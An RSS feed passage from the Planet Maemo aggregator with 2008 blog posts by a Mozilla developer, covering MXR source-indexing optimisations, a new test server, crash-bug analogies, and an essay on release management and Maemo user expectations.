<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.6(BH)" -->
<rss version="2.0">
    <channel xmlns:g="http://base.google.com/ns/1.0">
        <title>Planet Maemo: category &quot;feed:b60f2338d7a5b72897d3a13b738ecf26&quot;</title>
        <description>Blog entries from Maemo community</description>
        <link>http://maemo.org/news/planet-maemo/</link>
        <lastBuildDate>Sat, 04 Apr 2026 00:26:41 +0000</lastBuildDate>
        <generator>FeedCreator 1.7.6(BH)</generator>
        <language>en</language>
        <managingEditor>planet@maemo.org</managingEditor>
        <item>
            <title>The path to MXR</title>
            <link>http://viper.haque.net/~timeless/blog/147/</link>
            <description><![CDATA[

   

There are a couple of ways of doing development work.
<a href="http://www.selenic.com/mercurial">Hg</a> and
<a href="http://en.wikipedia.org/wiki/Distributed_revision_control">DVCS</a>
enable some of them, especially private local commits and working on
multiple unfinished features. There's a general understanding that you
should write code first and optimize later, but you usually try not to
ship a version which has a performance regression.

<p>
Sadly, when I started working on MXR, I didn't have a DVCS, so I just made
live changes on <a href="http://landfill.bugzilla.org">landfill</a>, lots of them.
One of the changes I made was to make MXR understand #include's, e.g.
<a href="http://mxr.mozilla.org/mozilla-central/source/layout/base/nsCSSFrameConstructor.cpp?mark=47-49#47">nsCSSFrameConstructor.cpp</a>.
This was both recognizing that a file named
<b>nsCRT.h</b> might 
<a href="http://mxr.mozilla.org/mozilla-central/source/layout/base/nsCRT.h">not</a>
live in the same
<a href="http://mxr.mozilla.org/mozilla-central/source/layout/base/">directory</a>
(and
<a href="http://mxr.mozilla.org/mozilla-central/source/xpcom/ds/nsCRT.h">where</a>
it would live), and also recognizing that a file named
<a href="http://mxr.mozilla.org/mozilla-central/source/xpcom/ds/nsIAtom.h">nsIAtom.h</a>
might really be
<a href="http://mxr.mozilla.org/mozilla-central/source/xpcom/ds/nsIAtom.idl">nsIAtom.idl</a>.
If you hover over the links from the highlighted lines in MXR, you'll see that
they're correct.
</p>
<p>
The first implementation of this merely ready a list of all files in the tree
(.glimpse_filenames) which glimpse had generated to enable searching (and which
LXR used for find). I've been trying to optimize this for a while using various
tools and caching data. But essentially it meant that if there was a missed
file, the entire file index would have to be read into memory, and each
included file meant a linear search of that list.
There's actually a file named .glimpe_filenames_index which presumably is what
I would really have liked to use, but I don't know how to use it, so instead,
I've made an extra index of the files list and taught MXR to use it (thankfully
the code was fairly modular so I was able to drop it into a single function and
everything else just worked).
</p>
<p>
Anyway, for a long time people had asked me to commit my changes to LXR back
into cvs.mozilla.org, but I wasn't willing to do so until I had fixed the
performance regression of my initial #include feature. This April, Benjamin
<a href="http://hg.mozilla.org/webtools/mxr/log/0">landed</a>
mxr into Hg for the first time in order to enable Mozilla IT to deploy
it in parallel to LXR. In July, Reed
<a href="http://hg.mozilla.org/webtools/mxr/rev/5b6d50d31c19">decommissioned</a>
LXR. At the end of July,
<a href="http://hg.mozilla.org/webtools/mxr/pushloghtml?startdate=7%2F28%2F2008&enddate=8%2F05%2F2008+18%3A30">while</a>
at the Summit, I started doing real optimization work using
<a href="http://open.blogs.nytimes.com/2008/03/05/the-new-york-times-perl-profiler/">The New York Times Perl Profiler</a>.
Finally today I added what amounts to
<a href="http://mxr-test.konigsberg.mozilla.org/mxr-test/source/lib/LXR/Common.pm?mark=577-599#576">25 lines</a>
in the source viewer and another
<a href="http://mxr-test.konigsberg.mozilla.org/mxr-test/source/update-search.pl?mark=172-183#171">10 or so lines</a>
to the code which generates the index (this part of the indexing process is
much faster than the step that builds the primary search index), and pages
should now load nearly as fast as from LXR.
</p>
<h2><a href="http://mxr.mozilla.org">MXR</a> Features</h2>
<ol>
<li>MXR tries to handle #include, this logic also works for some other languages
including
<a href="http://mxr-test.konigsberg.mozilla.org/mozilla-central/source/layout/mathml/tools/encode.pl#50">Perl</a>
and
<a href="http://mxr-test.konigsberg.mozilla.org/mozilla-central/source/testing/performance/talos/ttest.py?mark=59-63#50">Python</a>.
<li>The indexer has a vague understanding of a number of languages, including
<a href="http://mxr.mozilla.org/mozilla-central/source/xpcom/ds/nsISupportsPrimitives.idl">IDL</a>
(MXR has had parsing for IDL for a while, but there was a long standing
bug in its support which was
<a href="http://hg.mozilla.org/webtools/mxr/rev/441a3aec3a3e">fixed</a> last week
which prevented the interface name from being recognized as being declared in
the idl file).
<li>Thanks to db48x, there is
<a href="http://hg.mozilla.org/webtools/mxr/rev/6b1ce19ea437">support</a>
once again for
<a href="http://www.doxygen.org">Doxygen</a>.
<li>As you've probably seen, there is support for ?mark= in source viewer, this
feature is something that Mozilla developers were used to using with
<a href="http://bonsai.mozilla.org">bonsai</a>. Please note that MXR only has
a single version of a file in a given directory in a given root, which means
that MXR mark URLs will not be as stable as similar bonsai mark URLs.
<li>While search has a 29 character "limit", it will now try to deal with
longer searches by overflowing a portion of the search into the filter field.
<li>As with bonsai integration, MXR will try to link to "changes to this
<a href="http://mxr.mozilla.org/mozilla-central/source/">directory</a>
in the last ...". (This feature will be updated when the Mozilla pushloghtml
script is improved to actually support directory queries.)
<li>MXR supports mixing and nesting repositories managed by different or even
multiple version control systems.
<li>Directory descriptions are built dynamically from various sources including
README files and debian/control files.
</ol>

  <span class="net_nemein_favourites">2 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=ebac65b8ab2d11dda6d39f06a2a502120212&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/ebac65b8ab2d11dda6d39f06a2a502120212/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>1 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=ebac65b8ab2d11dda6d39f06a2a502120212&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/ebac65b8ab2d11dda6d39f06a2a502120212/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Wed, 05 Nov 2008 11:07:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-ebac65b8ab2d11dda6d39f06a2a502120212</guid>
        </item>
        <item>
            <title>Königsberg</title>
            <link>http://viper.haque.net/~timeless/blog/146/</link>
            <description><![CDATA[

   


<p>
<img src="http://upload.wikimedia.org/wikipedia/commons/thumb/5/5d/Konigsberg_bridges.png/180px-Konigsberg_bridges.png" alt="Konigsberg bridges">
</p>
<p>
Thanks to reed, justdave, mrz, and
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=449979#c7">seth</a>
(<a href="https://wiki.mozilla.org/Community:CommunityProgram">community giving</a>),
<a href="http://mxr.mozilla.org">mxr.mozilla.org</a> and other webtools have their own
<a href="http://konigsberg.mozilla.org">box</a>
(<a href="http://konigsberg.mozilla.org">konigsberg.mozilla.org</a>) for
<a href="http://mxr-test.konigsberg.mozilla.org">testing</a>.
</p>
<p>
<a href="http://landfill.bugzilla.org">landfill</a> was getting too crowded:
</p>
<p>
<img src="http://www.stolka.de/philipp/blog/uploaded_images/DSC08384-790582.jpg" alt="landfill">
</p>
<p>
For the time being, the major user of the box will be mxr, which focuses on
linking items together.
</p>
<p>
There is a
<a href="http://en.wikipedia.org/wiki/Seven_Bridges_of_K%C3%B6nigsberg">history</a>
to this inspirational mathemetics problem. 
</p>
<p>
For people interested in using, testing, seeing, or helping with
<a href="http://mxr-test.konigsberg.mozilla.org">mxr-test</a>,
you will have to contact me with your ip address, as we had problems with
resource loads at our previous location and for the time being, I'm simply
whitelisting people.
</p>

  <span class="net_nemein_favourites">2 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=2458b4ac6f2e11dd8b074986ddafeae9eae9&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/2458b4ac6f2e11dd8b074986ddafeae9eae9/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>1 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=2458b4ac6f2e11dd8b074986ddafeae9eae9&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/2458b4ac6f2e11dd8b074986ddafeae9eae9/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Tue, 19 Aug 2008 12:19:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-2458b4ac6f2e11dd8b074986ddafeae9eae9</guid>
        </item>
        <item>
            <title>Shutting down is like driving your car into your Garage</title>
            <link>http://viper.haque.net/~timeless/blog/145/</link>
            <description><![CDATA[

   


<p>
An application <i>crash</i> during <u>shutdown</u> is still a <b>bug</b>,
</p>
<p>
Just like
<a href="http://video.google.com/videoplay?docid=-6451561287864549462">colliding</a>
with the front of your <u>garage</u>
when you intended to stop anyway is still a <b>bad thing</b>.
</p>
<p>
<!--http://www.mcowen.com/crash4.JPG-->
<img src="http://viper.haque.net/~timeless/blog/145/crash4.jpg" alt="car hit garage">
</p>
<p>
<i>Reprinted</i> from
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=442636#c3">a bug</a>
</p>

  <span class="net_nemein_favourites">5 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=a9245398493711dd940e8b25a0fa4a344a34&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/a9245398493711dd940e8b25a0fa4a344a34/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>1 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=a9245398493711dd940e8b25a0fa4a344a34&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/a9245398493711dd940e8b25a0fa4a344a34/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Thu, 03 Jul 2008 12:32:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-a9245398493711dd940e8b25a0fa4a344a34</guid>
        </item>
        <item>
            <title>Jumping into thin air like Wile E Coyote</title>
            <link>http://viper.haque.net/~timeless/blog/144/</link>
            <description><![CDATA[

   


<h3>Have you ever wondered how it would feel to be Wile E Coyote?</h3>
<p>
Picture this:
<ol>
<li>You're <i>Wile E Coyote</i>.
<li>You're twenty feet away from a ledge (off the edge of a cliff).
<li>You look down.
<li>You see you aren't standing on solid ground.
</ol>
<!--http://blogs.law.harvard.edu/fensterm/files/2008/01/coyote.jpg-->
<img src="http://viper.haque.net/~timeless/blog/144/coyote.jpg" alt="Looking Down">
</p>
<h3>What do you do?</h3>
<p>
Answer: <b>You Fall</b>.
</p>
<p>
<!--http://starphoenixbase.com/wp-content/uploads/2006/10/coyote-06.jpg-->
<img src="http://viper.haque.net/~timeless/blog/144/coyote-06.jpg" alt="Gravity Lessons">
</p>
<h3>What else can you do?</h3>
<p>
<u>Not much</u>.
</p>
<p>
You can only not fall <b>before</b> you run off the edge of the cliff, not <i>after</i>.
</p>
<h3>Why is this interesting?</h3>
<p>
Sometimes, we have users who ask us why we can't just "fix" a crash by
changing the crashing function.
</p>
<p>
In the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=388993#c3">example</a>
from the bug, the crashing function,
<i>js_GetScriptLineExtent</i>, has bad data and can't really do
anything useful with it, other than simply crashing.
</p>
<h3>What can you do?</h3>
<p>
Report the crash (you know, what goes up, must come down... <i>somewhere</i>).
</p>
<p>
If you're lucky, the path to the crash will be obvious, such as when
<i>Wile E Coyote</i> takes a wrong turn.
</p>
<p>
If you're unlucky, then the report won't have enough information, but at
least someone will know to be on the lookout for something which could cause
your crash.
</p>
<p>
<i>Reprinted</i> from
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=388993#c4">a bug</a>
</p>

  <span class="net_nemein_favourites">3 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=fc004cee484b11dda160cf968fca7eb27eb2&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/fc004cee484b11dda160cf968fca7eb27eb2/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>2 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=fc004cee484b11dda160cf968fca7eb27eb2&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/fc004cee484b11dda160cf968fca7eb27eb2/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Wed, 02 Jul 2008 02:40:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-fc004cee484b11dda160cf968fca7eb27eb2</guid>
        </item>
        <item>
            <title>With some power, comes slight responsibility</title>
            <link>http://viper.haque.net/~timeless/blog/140/</link>
            <description><![CDATA[

   


<p>
I need to take some time to talk about the role of customers,
or something like that.
</p>
<h2>The Real World</h2>

<h3>Who decides when to release?</h3>
<p>
Releasing is a <b>management decision</b>.
</p>
<p>
Whether that's an open decision or a
closed decision, and whether it's for an open, closed, or semi-open project,
it's still a <u>management decision</u>.
</p>
<p>
Typically management will have a list of things they want
done, and will ask their teams of <i>engineers</i>, <i>marketers</i>, <i>localizers</i> and
<i>testers</i> if everything is ready. Management can choose to wait for things,
or press on. This is the case everywhere.
</p>
<h3>When will Firefox 3.1 be released?</h3>
<p>
Last week, I had absolutely no idea when Firefox 3 would be released.
If you're reading this, you probably know that there's a date. Although,
it could change. There were no real plans for an RC3 until the middle of
this week.
<u>And that's the open source project to which I actively contribute</u>.
Oh, I have no idea when <u>Firefox 3.1</u> will be released, for all I know
the version after <i>3.0</i> will be <i>3.14</i>, <i>3.141</i>, <i>3.1415</i>, <i>3.5</i>,
<i>4.0</i>, or <i>95</i>.
</p>
<h3>When will Safari 3.1.2 be released?</h3>
<p>
I don't have any idea when <u>Safari 3.1.2</u> will be available, or <u>IE 8</u>.
</p>
<p>
The only products that I know release dates for are date based products (I can
predict Ubuntu 8.04).
</p>
<h3>What's the Mozilla view?</h3>
<p>
The Mozilla view which I would hope people are familiar with is:
</p>
<p>
<b>It'll ship when it's ready</b>.
<a href="http://www.mozillazine.org/talkback.html?article=1179">talkback.html?article=1179</a>
<a href="http://www.pcpro.co.uk/news/124630/firefox-we-caught-microsoft-asleep-at-the-wheel.html">firefox-we-caught-microsoft-asleep-at-the-wheel.html</a>
<a href="http://blog.johnath.com/index.php/2007/09/07/gaming/#comment-1">#comment-1</a>
</p>
<p>
Kairo (one of the driving people behind SeaMonkey) writes:
<u>Only, ever, ship when it's ready to be shipped, never before that point.</u>
</p>
<h3>How does Mozilla manage bugs?</h3>
<p>
In <a href="http://mozilla.org">Mozilla</a> if someone writes X is fixed in
<a href="https://bugzilla.mozilla.org">bugzilla.mozilla.org</a>, that just means there's a code fix (or it
could be a process that's fixed, or a template for a document, or the next
license or the next version of a web site), it doesn't mean it has passed
through all verification steps. It could cause a regression and be backed out.
It certainly doesn't mean that the fix will be available instantly.
</p>
<h3>What's Sun's view?</h3>
<p>
When <a href="http://sun.com">Sun</a> fixes something in
<a href="http://opensolaris.org">OpenSolaris</a> the fixes will appear at
<a href="http://bugs.opensolaris.org">bugs.opensolaris.org</a> before they're available
anywhere (as it happens, they're date based, so a fix should be in the next
binary drop w/in 2 weeks unless it fails QA [which happens from time to time]
in which case it may take a month).
</p>
<p>
Similar behavior can be found with other open projects
(<a href="http://www.netbeans.org">NetBeans</a> comes to
mind, you can see their <a href="http://www.netbeans.org/issues">issues</a> but you should
really read how their <a href="http://qa.netbeans.org/">qa</a> works).
</p>
<h3>What about other vendors?</h3>
<p>
As for <a href="http://apple.com">Apple</a> and <a href="http://google.com">Google</a>,
you will find that they may or may not announce a
date for a product, and there can easily be a lag time between when it's
announced and when you can get it.
</p>
<p>
Can't I get my kernel upgraded today?
As for <a href="http://kernel.org">Kernel</a>. If I'm using a Linux distribution,
I know that just because mm or someone has committed a fix to an upstream
kernel doesn't mean I'll instantly get that fix in my Linux distribution, in
fact, for maintenance distributions (centos 3, rhel), I may be forced to wait
for the time when I'm willing and able to upgrade to something newer. If I'm
using a non-stock Linux or a non stock compiler (embedded-arm, codesourcery)
then I'll probably have to wait for them to integrate the fix into a new
release, and then pick a time to upgrade.
</p>
<p>
If you aren't used to any of these things, then hrm... I dunno...
</p>
<p>
I'm certainly used to waiting. And whenever people tell me about improvements,
I'm happy, because it means that instead of bugging them about X, I know that
they're responsive and I can choose to bug them about Y that they didn't know
about.
</p>
<h3>What about Qt?</h3>
<p>
Sure, this applies to <a href="http://trolltech.com/products/qt">Qt</a> (I filed a
bug against Qt, they confirmed it, I'm still waiting for them to fix it). Note
that with <a href="http://trolltech.com">Trolltech</a>, if I'm told that
they've fixed a bug in Qt, and I'm using
<a href="http://trolltech.com/products/qtopia">Qtopia</a> (which I was at the time),
then I have to wait for them to backport it, or I have to wait for a
new version of Qtopia (and those lag a bit).
</p>
<h3>What about other web browsers and content providers?</h3>
<p>
This applies to them too, both <a href="http://opera.com">Opera</a> (I'm not sure
how many bugs I've filed their way) and Apple (I need to report a
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=405903">bug</a> about
<a href="http://www.apple.com/ilife">iLife</a>'s
<a href="http://www.apple.com/ilife/iweb">iWeb</a> generating bad content to Apple).
</p>
<p>
I really don't know of many groups who deliver software instantly... At least,
not good software.
</p>
<h3>Isn't everything fixed as soon as it's fixed?</h3>
<p>
As was written elsewhere (by the original complainant), there's a risk in
fixing things, and perhaps it'll be backed out, or regress something else or
.... Now I'm not going to discourage people from using bleeding edge software,
bug reports based on the latest sources and binaries are always more welcome
than old stale versions. But I understand the reason people don't want to
upgrade (I rarely upgrade my software) and I would hope that people understand
that if they're afraid of using the latest prerelease, then asking that the
latest prerelease be released is at least a bit ridiculous, changing the name
from "alpha, may destroy your computer" to "official" doesn't mean it won't
destroy your computer.
</p>
<h2>Nokia and maemo</h2>
<h3>Why don't Nokians predict when hardware or software will ship?</h3>
<p>
Someone claimed that most people are not used to Nokia's policy
to embargo any date (even estimate) regarding software (or hardware) release.
</p>
<p>
But please look at the rest of the industry. How can people <b>not</b> be <i>used</i> to
this behavior?
</p>
<h3>When do Nokia products ship?</h3>
<p>
I personally believe that <a href="http://nokia.com">Nokia</a>'s products are
generally seasonal, although they have some wiggle room.
</p>
<h3>Where's my software update?</h3>
<ul>
<li><u>I want it now!</u>
<li>I'm told Quim has specifically requested that instructions
about how to update to Diablo pre-releases not be disclosed.
</ul>
<p>
Regardless, it was discussed in maemo-developers and elsewhere that
it is possible to retrieve Diablo updates - they're not simply vaporware,
Nokia just isn't ready to ship them (perhaps there are still bugs to be
fixed?).
</p>
<p>
Bugs are fixed when they're fixed, and transparency means telling
people when they're fixed.
</p>
<p>
It's OK to want something, it's not OK to demand it. And it isn't
acceptable to claim that something hasn't been done just because
you can't get it.
</p>
<p>
If customers have a problem with management's lack of transparency
in scheduling and actually releasing products, that's not something
which should be discussed in developer forums. Managers don't read
developer forums. And developers aren't paid for manager headaches.
</p>
<h3>When will Diablo ship?</h3>
<p>
For simplicity's sake, I don't know when Diablo will be released.
I also didn't know when Chinook was going to be released (in fact, I believe a
number of end users got Chinook before engineers at
<a href="http://nokia.com">Nokia</a> discovered/learned it was released).
</p>
<h3>How can people discourage transparency?</h3>
<p>
<pre>
Personally, I'm disappointed that when a bug is closed as "fixed in
diablo", as a user I've no idea how to get the updated package on my
N810.
</pre>
</p>
<p>
Please excuse my <i>disbelief</i> ... you guys are the strangest <i>users</i> I've ever
met.
</p>
<p>
<pre>
I've got scratchbox handy,
</pre>
</p>
<h3>What defines a user?</h3>
<p>
In fact, <u>I've got scratchbox handy</u> is one of many definitions
of <b>not a user</b>. Another is actually <u>using Bugzilla at all</u>
(* see long paragraph below).
</p>
<p>
If you're <i>using Scratchbox</i>, or if you're <i>using Bugzilla</i>, you're a
<b>developer</b>. As a <b>developer</b>, there should be a much higher barrier (reading
a couple of pages) to entry.
</p>
<p>
If you're <i>using Bugzilla</i>, there are a few pages you should read.... Here's a
short list of links that you can get to from enter_bug and show_bug:
</p>
<ul>
<li><a href="https://bugs.maemo.org/page.cgi?id=bug-writing.html">Bug writing guidelines</a>,
only reachable while filing a bug if you have CANCONFIRM;
people w/o CANCONFIRM should get the guided submission form
which will walk you through how to file a bug.
<li><a href="https://bugs.maemo.org/page.cgi?id=fields.html">Fields</a>
is auto generated with links from "status", "severity", "resolution" on any
bug.
<li><a href="http://wiki.maemo.org/Codenames#Release_Table">Target milestone</a>
should be present for most bugs (excluding bugs which are in video converter
and misdirected).
</ul>
<p>
Note that this page indicates what 4.1 is and that it's equivalent to Diablo
(thanks to whomever maintained this wiki page). BTW, thanking people is a good
practice, especially if you aren't paying for things.
</p>
<p>
The only <a href="http://browser.garage.maemo.org/news/8/">other page</a> I know of
with numbers, but I don't promise to maintain it.
</p>
<p>
Recently, <a href="http://wiki.maemo.org">wiki.maemo.org</a> has started talking about dates,
hopefully that will help. (Historically the maemo.org
roadmap pages were utterly useless, typically even the utterly useless Mozilla
roadmaps which are perennially out of date at least tried to include guesses
about seasons "next year".) maemo.org needs a page with release dates.
Something like:
<a href="http://developer.mozilla.org/en/docs/CVS_Tags">CVS_Tags</a> (which is sadly
incomplete) would be nice....
</p>
<p>
This finally happened today, as the
<a href="http://wiki.maemo.org/Codenames#Release_Table">Codenames</a>
page includes a note to indicate that "Diablo" will not be available
for download until after the N810 WiMax Edition is available for sale.
</p>
<p>
If it happens that this statement is wrong, someone can correct the wiki when
a better statement is available. Most people in the interim would be able to
follow the links read that, and realize that they'll just have to wait like
the rest of us.
</p>
<p>
(I'm actually waiting for Diablo, and I'm an internal!)
</p>
<p>
Note that Bugzilla now only talks about versions (<b>4.0</b>, <b>4.1</b>). And anytime
someone says a bug is <i>fixed in Diablo</i>, they should make sure it has
<u>Target milestone</u>: <b>4.1</b>.
</p>
<p>
When <b>4.1</b> (<i>Diablo</i>) is released, then everyone can upgrade to it using
whichever upgrade methods are available (I'll probably <u>flash</u> since I'm
running stuff from <b>3.x</b> or pre <b>4.0</b>).
</p>
<h3>How do I get the latest Firefox nightly?</h3>
<p>
People may think that they can just
<a href="http://releases.mozilla.org/pub/mozilla.org/firefox/releases/">download</a>
Firefox nightlies....
</p>
<p>
Try doing it for/from <i>your tablet</i>, Mozilla nightlies are available for a
few platforms but that <u>doesn't include</u> <b>tablets</b>. Yes, as a convenience
for testing they make available binaries for a limited set of common
platforms, but for the rest you often get to wait for a release cycle.
</p>
<h3>How did things work as Netscape 6 was developed?</h3>
<p>
If you were actually around when Netscape 6 was in development,
you would see the same process that Nokia has now in place for bugs.
</p>
<ul>
<li>(long paragraph from above)
</ul>
<h3>What am I?</h3>
<ul>
<li>I work on <i>Bugzilla</i>, I'm a <b>developer</b>.
<li>When I claim to be a <b>user</b>,
<ol>
<li>I read the user documentation;
<li>follow the instructions for reporting problems,
<li>sit back and wait until I'm asked for more input
<li>I don't ask questions about development process.
<li>As a user, I of course look in the official channels to see if there's a new
version of software available for me.
</ol>
</ul>
<h3>What do I get as a Mac user/owner?</h3>
<ul>
<li>OS X 10.3.9 (the 9 is an auto update thing, the 3 is because I like the rest
of you don't buy software, I buy hardware).
<li>Safari 1.x (dunno what x is, but it should be whatever it was when Apple
end of life-d it),
<li><a href="http://caminobrowser.org">Camino</a> 1.6.1 multilingual
(it's the latest and greatest!)
<li>Firefox 2.0.0.x
<li><a href="http://python.org">Python</a> 2.3
</ul>
<h3>What can't I run?</h3>
<ul>
<li>Firefox 3
<li>Safari 2/3
<li>Camino's next major release
<li><a href="http://www.selenic.com/mercurial">Mercurial</a> (because it requires Python 2.4)
</ul>
<h3>What do I get as a PC user?</h3>
<ul>
<li>XP SP2 (users don't get prerelease service packs, and in business units SPs
are always delayed)
<li>IE6 (no one offered me IE7 - I think my IT disabled that update),
<li>Firefox 2.0.0.x (generally not the latest because IT disables updates and
delivers them urgently late),
<li>Office 2003 (I'm not responsible for purchasing software, so this is what's
on my box)
<li>VMWare (and Solaris Zones)
<ol>
<li>CentOS 3 (it came in a pretty VM - it's also the latest available for the
host in question)
<ol type="a" class="alpha">
<li>Python2.2
</ol>
<li>Ubuntu 7.10 (it came in a pretty VM)
</ol>
</ul>
<h3>What are people subscribed to maemo-developers and with accounts in Bugzilla?</h3>
<p>
Well they certainly aren't <u>users</u>. They're <u>developers</u>.
Developers should be expected to be aware
of more processes, release cycles, etc.
</p>
<h2>People, Roles, and Responsibilities</h2>

<h3>What can a user do?</h3>
<p>
In general, if you're a user (customer) of a vendor's product, the standard
channel is one-way:
Your vendor will announce via some means the availability of an update.
</p>
<p>
Users are supposed to wait for their vendor to tell them when there's an
update. That's how it works for Mozilla Firefox, that's how it works for
Windows, that's how it works for IE, that's how it works for Safari, that's
how it works for every major software project in the entire world. Ubuntu
included.
</p>
<p>
Users can try to make demands of vendors (people to whom they've given money),
"dear Nokia, why haven't you given me a software update". They can call their
vendor, send mail (I think it's 0.45USD these days), visit their vendor's
store (there's one in New York, NY, and I know of one in Helsinki), or if the
Vendor has some other feedback area, they may use that.
</p>
<p>
But if you aren't <b>acting</b> like a <i>user</i> then you have to do some other
<u>reading</u>.
</p>
<h3>Who is (or isn't) a vendor?</h3>
<ul>
<li>maemo and maemo developers aren't vendors.
<li>maemo is <i>something</i>
<li>developers are just developers.
</ul>
<h3>What can (or can't) a developer do?</h3>
<p>
Developers are not free to make demands when the answers are already
documented. They're expected to look up the answers.
</p>
<h3>Isn't the world more than black and white?</h3>
<p>
<pre>
In the free software world, you have to divide things a little more
finely - there are developers, early adopters/beta testers, and late
adopters.
</pre>
</p>
<p>
I've been there. However anyone who is using an <u>alpha</u> or <u>beta</u> is expected
to <b>read</b> <u>documentation</u> and <b>learn</b> about <u>processes</u>.
</p>
<p>
If I sent a message to <a href="http://lkml.org">LKML</a> asking when an
<a href="http://linux.derkeiler.com/Mailing-Lists/Kernel/2007-08/msg11495.html">mm</a>
patch would be available in <a href="http://ubuntu.com">Ubuntu</a>, I'd be <b>flamed</b>.
</p>
<p>
Can't we call people who use Bugzilla early adopters?
I've worked with early adopters in the Netscape 6/7 days. At times I was one,
at times I was a developer, and at times I was simply a user.
Each class of person has a place, a role, responsibilities, duties, etc. and
overstepping them is a violation of something.
</p>
<p>
If you make the wrong demands while in a beta program you'll be <b>kicked</b> out.
</p>
<h3>What could maemo do to help reduce confusion?</h3>
<ul>
<li>maemo.org probably needs a <b>FAQ</b>.
<li>It might also be useful to have real announced beta programs
<li>announcements
<li>a list of a couple of the real beta testers
</ul>
<p>
The list of the beta testers is because it seems there's no trust and within
limits it would enable people to ask and answer questions without irritating
engineers.
This would be part of the price beta testers pay for getting early access to
software, namely early access to nagging questions.
</p>
<h3>How could a beta program work?</h3>
<p>
A beta program should not recycle more than <i>50%</i> of the beta tester base.
<ol>
<li>The <b>first beta</b>
<ul>
<li>For example, <u>16 people</u> are picked
</ul>
<li>The <b>second beta</b>
<ul>
<li>8 people return from <b>Beta 1</b>.
<li>The other <u>8 people</u> should be new (to give [not quite] everybody a chance).
</ul>
<li>The <b>third beta</b>
<ul>
<li>At most <i>25%</i> of the <b>beta 1</b> base should be included
<li>At most <i>50%</i> of the new <b>beta 2</b> people should be retained
<li>Leaving <u>8 new people</u>
</ul>
<li>The <b>fourth beta</b>
<ul>
<li>the remaining original beta people from <b>beta 1</b> should be removed (and they
would be eligible for <b>beta 7</b> - i.e., they get to wait out 3 betas).
</ul>
Beta lists could be retained across products (so had <b>beta 1</b> been 770 <i>OS2006</i>,
<b>beta 2</b> could have been n800 <i>OS2007</i> and <b>beta 3</b> could have been n800
<i>OS2007.1</i>) - for products where the software isn't compatible (OS2007 wasn't
compatible w/ 770 hardware), loaner hardware should be sent to the beta testers
(who should own some hardware).
</ol>
</p><h3>Isn't this like internal company beta testing?</h3>
<p>
This would be different as that testing has absolutely no public face.
It would have to happen after products have been announced but before it ships
(with a 1 month return on loaned hardware after a beta program ends).
</p>
<h3>Why am I writing this entry?</h3>
<p>
To announce that I've unsubscribed from maemo-developers.
The list really isn't worth <u><b>my</b></u> aggravation. There is no reason for users to
ask such questions of employees.
</p>
<p>
It wasn't done when users or developers (and if you're going to provide
categories, the people asking questions to maemo-developers are not
developers, they're clueless users with scratchbox who refuse to read
documentation or archives) were curious about a fix to the
<a href="http://netscape.com">Netscape</a> portion of a
<a href="http://geckoisgecko.org">Gecko</a> based release (Netscape 6, Netscape
6.1, Netscape 6.2, Netscape 7, ...). If someone said that something would be
fixed in Netscape 6, we trusted them that it would be, and we waited. Or
rather, we found something else that was wrong and reported it, hoping that it
too might be fixed in Netscape 6. If we were really late and there was just
